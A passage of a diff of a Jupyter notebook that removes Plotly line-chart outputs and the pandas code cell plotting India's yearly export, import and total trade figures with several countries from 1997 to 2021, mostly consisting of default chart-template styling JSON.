- "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - } - } - }, - "title": { - "text": "IMPORT" - }, - "xaxis": { - "anchor": "y", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Year" - } - }, - "yaxis": { - "anchor": "x", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Import" - } - } - } - }, - "text/html": [ - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.plotly.v1+json": { - "config": { - "plotlyServerURL": "https://plot.ly" - }, - "data": [ - { - "hovertemplate": "Year=%{x}
Total Trade=%{y}", - "legendgroup": "", - "line": { - "color": "#636efa", - "dash": "solid" - }, - "marker": { - "symbol": "circle" - }, - "mode": "lines", - "name": "", - "orientation": "v", - "showlegend": false, - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "xaxis": "x", - "y": [ - 273.32, - 203.88, - 205.69, - 234.4, - 435.32, - 411.12, - 498.65, - 519.11, - 636.66, - 923.09, - 994.45, - 1150.6, - 1497.77, - 1338.29, - 1926.52, - 1957.35, - 2182.68, - 2004.78, - 2054.92, - 2175.14, - 1605.84, - 1727.1, - 1521.13, - 1299.35, - 1340.42 - ], - "yaxis": "y" - }, - { - "mode": "lines", - "name": "MYANMAR", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 273.32, - 203.88, - 205.69, - 234.4, - 435.32, - 411.12, - 498.65, - 519.11, - 636.66, - 923.09, - 994.45, - 1150.6, - 1497.77, - 1338.29, - 1926.52, - 1957.35, - 2182.68, - 2004.78, - 2054.92, - 2175.14, - 1605.84, - 1727.1, - 1521.13, - 1299.35, - 1340.42 - ] - }, - { - "mode": "lines", - "name": "NAMIBIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.78, - 13.73, - 3.34, - 3.76, - 10.07, - 8.24, - 7.79, - 7.27, - 35.42, - 21.77, - 61.96, - 96.17, - 104.94, - 92.17, - 74.57, - 66.01, - 225.39, - 142.24, - 84.04, - 140.2, - 106.06, - 135.92, - 94.72, - 81.23, - 138.43 - ] - }, - { - "mode": "lines", - "name": "NAURU RP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 2.68, - 8.33, - 7.45, - 1.92, - 2.32, - 3.76, - 1.7, - 0.2, - 0.77, - 0.47, - 28.18, - 15.8, - 4.15, - 15.39, - 21.03, - 4.93, - 10.21, - 5.77, - 2.56, - 1.37, - 0.69, - 0.21, - 0.15, - 17.17 - ] - }, - { - "mode": "lines", - "name": "NEPAL", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 265.21, - 267.26, - 339.86, - 395.92, - 570.4, - 632.12, - 955.39, - 1088.97, - 1239.82, - 1233.42, - 2135.98, - 2066.19, - 1985.93, - 2681.47, - 3271.54, - 3631.94, - 4122.23, - 5198.68, - 4373.29, - 5898.72, - 7051.34, - 8274.34, - 7871.95, - 7511.62, - 8191.51 - ] - }, - { - "mode": "lines", - "name": "NETHERLAND", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1247.58, - 1227.72, - 1356.67, - 1317.63, - 1330.35, - 1433.65, - 1824.67, - 2396.32, - 3524.33, - 3832.96, - 7175.81, - 8263.64, - 8527.56, - 9530.66, - 11769.74, - 12944.11, - 11134.51, - 9127.63, - 6585, - 6965.4, - 8773.76, - 12875.64, - 11757.08, - 9790.53, - 11370.45 - ] - } - ], - "layout": { - "legend": { - "tracegroupgap": 0 - }, - "template": { - "data": { - "bar": [ - { - "error_x": { - "color": "#2a3f5f" - }, - "error_y": { - "color": "#2a3f5f" - }, - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "bar" - } - ], - "barpolar": [ - { - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "barpolar" - } - ], - "carpet": [ - { - "aaxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "baxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "type": "carpet" - } - ], - "choropleth": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "choropleth" - } - ], - "contour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "contour" - } - ], - "contourcarpet": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "contourcarpet" - } - ], - "heatmap": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmap" - } - ], - "heatmapgl": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmapgl" - } - ], - "histogram": [ - { - "marker": { - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "histogram" - } - ], - "histogram2d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2d" - } - ], - "histogram2dcontour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2dcontour" - } - ], - "mesh3d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "mesh3d" - } - ], - "parcoords": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "parcoords" - } - ], - "pie": [ - { - "automargin": true, - "type": "pie" - } - ], - "scatter": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter" - } - ], - "scatter3d": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter3d" - } - ], - "scattercarpet": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattercarpet" - } - ], - "scattergeo": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergeo" - } - ], - "scattergl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergl" - } - ], - "scattermapbox": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattermapbox" - } - ], - "scatterpolar": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolar" - } - ], - "scatterpolargl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolargl" - } - ], - "scatterternary": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterternary" - } - ], - "surface": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "surface" - } - ], - "table": [ - { - "cells": { - "fill": { - "color": "#EBF0F8" - }, - "line": { - "color": "white" - } - }, - "header": { - "fill": { - "color": "#C8D4E3" - }, - "line": { - "color": "white" - } - }, - "type": "table" - } - ] - }, - "layout": { - "annotationdefaults": { - "arrowcolor": "#2a3f5f", - "arrowhead": 0, - "arrowwidth": 1 - }, - "autotypenumbers": "strict", - "coloraxis": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "colorscale": { - "diverging": [ - [ - 0, - "#8e0152" - ], - [ - 0.1, - "#c51b7d" - ], - [ - 0.2, - "#de77ae" - ], - [ - 0.3, - "#f1b6da" - ], - [ - 0.4, - "#fde0ef" - ], - [ - 0.5, - "#f7f7f7" - ], - [ - 0.6, - "#e6f5d0" - ], - [ - 0.7, - "#b8e186" - ], - [ - 0.8, - "#7fbc41" - ], - [ - 0.9, - "#4d9221" - ], - [ - 1, - "#276419" - ] - ], - "sequential": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "sequentialminus": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ] - }, - "colorway": [ - "#636efa", - "#EF553B", - "#00cc96", - "#ab63fa", - "#FFA15A", - "#19d3f3", - "#FF6692", - "#B6E880", - "#FF97FF", - "#FECB52" - ], - "font": { - "color": "#2a3f5f" - }, - "geo": { - "bgcolor": "white", - "lakecolor": "white", - "landcolor": "#E5ECF6", - "showlakes": true, - "showland": true, - "subunitcolor": "white" - }, - "hoverlabel": { - "align": "left" - }, - "hovermode": "closest", - "mapbox": { - "style": "light" - }, - "paper_bgcolor": "white", - "plot_bgcolor": "#E5ECF6", - "polar": { - "angularaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "radialaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "scene": { - "xaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "yaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "zaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - } - }, - "shapedefaults": { - "line": { - "color": "#2a3f5f" - } - }, - "ternary": { - "aaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "baxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "caxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "title": { - "x": 0.05 - }, - "xaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - }, - "yaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - } - } - }, - "title": { - "text": "EXPORT AND IMPORT Between India and Other Countries" - }, - "xaxis": { - "anchor": "y", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Year" - } - }, - "yaxis": { - "anchor": "x", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Total Trade" - } - } - } - }, - "text/html": [ - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], - "source": [ - "exp=px.line(x=df[df['Country']==country.index[5]]['Year(start)'], y=df[df['Country']==country.index[5]]['Export'], labels={'x': 'Year', 'y': 'Export'}, title='EXPORT')\n", - "for i in range(5,10):\n", - " exp.add_scatter(x=df[df['Country']==country.index[i]]['Year(start)'], y=df[df['Country']==country.index[i]]['Export'], mode='lines', name=country.index[i])\n", - "exp.show()\n", - "\n", - "\n", - "\n", - "imp=px.line(x=df[df['Country']==country.index[5]]['Year(start)'], y=df[df['Country']==country.index[5]]['Import'], labels={'x': 'Year', 'y': 'Import'}, title='IMPORT')\n", - "for i in range(5,10):\n", - " imp.add_scatter(x=df[df['Country']==country.index[i]]['Year(start)'], y=df[df['Country']==country.index[i]]['Import'], mode='lines', name=country.index[i])\n", - "imp.show()\n", - "\n", - "\n", - "\n", - "fig=px.line(x=df[df['Country']==country.index[5]]['Year(start)'], y=df[df['Country']==country.index[5]]['Total Trade'], labels={'x': 'Year', 'y': 'Total Trade'}, title='EXPORT AND IMPORT Between India and Other Countries')\n", - "for i in range(5,10):\n", - " fig.add_scatter(x=df[df['Country']==country.index[i]]['Year(start)'], y=df[df['Country']==country.index[i]]['Total Trade'], mode='lines', name=country.index[i])\n", - "fig.show()" - ] - }, - { - "cell_type": "code", - "execution_count": 17, - "id": "9d0a1e5b-179b-40c9-80c4-28b50e1995cc", - "metadata": {}, - "outputs": [ - { - "data": { - "application/vnd.plotly.v1+json": { - "config": { - "plotlyServerURL": "https://plot.ly" - }, - "data": [ - { - "hovertemplate": "Year=%{x}
Export=%{y}", - "legendgroup": "", - "line": { - "color": "#636efa", - "dash": "solid" - }, - "marker": { - "symbol": "circle" - }, - "mode": "lines", - "name": "", - "orientation": "v", - "showlegend": false, - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "xaxis": "x", - "y": [ - 0.66, - 0.22, - 0.3, - 0.73, - 0.67, - 0.8, - 1.9, - 0.83, - 1.19, - 3.23, - 2.23, - 4.47, - 3.55, - 16.76, - 59.5, - 12.52, - 8.8, - 10.77, - 4.68, - 8.09, - 10.25, - 8.83, - 15.2, - 11.5, - 16.06 - ], - "yaxis": "y" - }, - { - "mode": "lines", - "name": "NETHERLANDANTIL", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 5.8, - 6.25, - 7.9, - 22.66, - 21.02, - 29.83, - 11.37, - 5.27, - 10.94, - 12.87, - 10.12, - 18.7, - 29.68, - 52.32, - 39.31, - 59.87, - 68.5, - 40.94, - 37.22, - 38.12, - 38.59, - 30.58, - 30, - 19.22, - 21.85 - ] - }, - { - "mode": "lines", - "name": "NEW CALEDONIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.66, - 0.22, - 0.3, - 0.73, - 0.67, - 0.8, - 1.9, - 0.83, - 1.19, - 3.23, - 2.23, - 4.47, - 3.55, - 16.76, - 59.5, - 12.52, - 8.8, - 10.77, - 4.68, - 8.09, - 10.25, - 8.83, - 15.2, - 11.5, - 16.06 - ] - }, - { - "mode": "lines", - "name": "NEW ZEALAND", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 71.93, - 56.82, - 64.35, - 63.28, - 62.21, - 67.7, - 85.97, - 93.22, - 141.9, - 495.52, - 158.82, - 188.62, - 255.17, - 190.59, - 251.64, - 302.06, - 276.68, - 322.1, - 308.04, - 309.66, - 352.85, - 379.87, - 378.55, - 486.25, - 369.54 - ] - }, - { - "mode": "lines", - "name": "NIGER", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 5.47, - 12.02, - 12.89, - 26.17, - 35.44, - 52.99, - 36.66, - 40.29, - 22.25, - 14.33, - 47.39, - 25.98, - 37.9, - 47.08, - 88.07, - 56.18, - 86.31, - 78.22, - 80.16, - 81.24, - 120.21, - 94.84, - 73.6, - 87.03, - 67.06 - ] - }, - { - "mode": "lines", - "name": "MOLDOVA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.67, - 0.99, - 0.78, - 0.88, - 1.88, - 2.54, - 4.37, - 5.61, - 5.43, - 5.54, - 7.43, - 6.78, - 6.58, - 7.54, - 7.5, - 8.94, - 10.47, - 8.79, - 7.81, - 6.71, - 7.14, - 8.63, - 8.71, - 11.58, - 6.7 - ] - } - ], - "layout": { - "legend": { - "tracegroupgap": 0 - }, - "template": { - "data": { - "bar": [ - { - "error_x": { - "color": "#2a3f5f" - }, - "error_y": { - "color": "#2a3f5f" - }, - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "bar" - } - ], - "barpolar": [ - { - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "barpolar" - } - ], - "carpet": [ - { - "aaxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "baxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "type": "carpet" - } - ], - "choropleth": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "choropleth" - } - ], - "contour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "contour" - } - ], - "contourcarpet": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "contourcarpet" - } - ], - "heatmap": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmap" - } - ], - "heatmapgl": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmapgl" - } - ], - "histogram": [ - { - "marker": { - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "histogram" - } - ], - "histogram2d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2d" - } - ], - "histogram2dcontour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2dcontour" - } - ], - "mesh3d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "mesh3d" - } - ], - "parcoords": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "parcoords" - } - ], - "pie": [ - { - "automargin": true, - "type": "pie" - } - ], - "scatter": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter" - } - ], - "scatter3d": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter3d" - } - ], - "scattercarpet": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattercarpet" - } - ], - "scattergeo": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergeo" - } - ], - "scattergl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergl" - } - ], - "scattermapbox": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattermapbox" - } - ], - "scatterpolar": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolar" - } - ], - "scatterpolargl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolargl" - } - ], - "scatterternary": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterternary" - } - ], - "surface": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "surface" - } - ], - "table": [ - { - "cells": { - "fill": { - "color": "#EBF0F8" - }, - "line": { - "color": "white" - } - }, - "header": { - "fill": { - "color": "#C8D4E3" - }, - "line": { - "color": "white" - } - }, - "type": "table" - } - ] - }, - "layout": { - "annotationdefaults": { - "arrowcolor": "#2a3f5f", - "arrowhead": 0, - "arrowwidth": 1 - }, - "autotypenumbers": "strict", - "coloraxis": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "colorscale": { - "diverging": [ - [ - 0, - "#8e0152" - ], - [ - 0.1, - "#c51b7d" - ], - [ - 0.2, - "#de77ae" - ], - [ - 0.3, - "#f1b6da" - ], - [ - 0.4, - "#fde0ef" - ], - [ - 0.5, - "#f7f7f7" - ], - [ - 0.6, - "#e6f5d0" - ], - [ - 0.7, - "#b8e186" - ], - [ - 0.8, - "#7fbc41" - ], - [ - 0.9, - "#4d9221" - ], - [ - 1, - "#276419" - ] - ], - "sequential": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "sequentialminus": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - 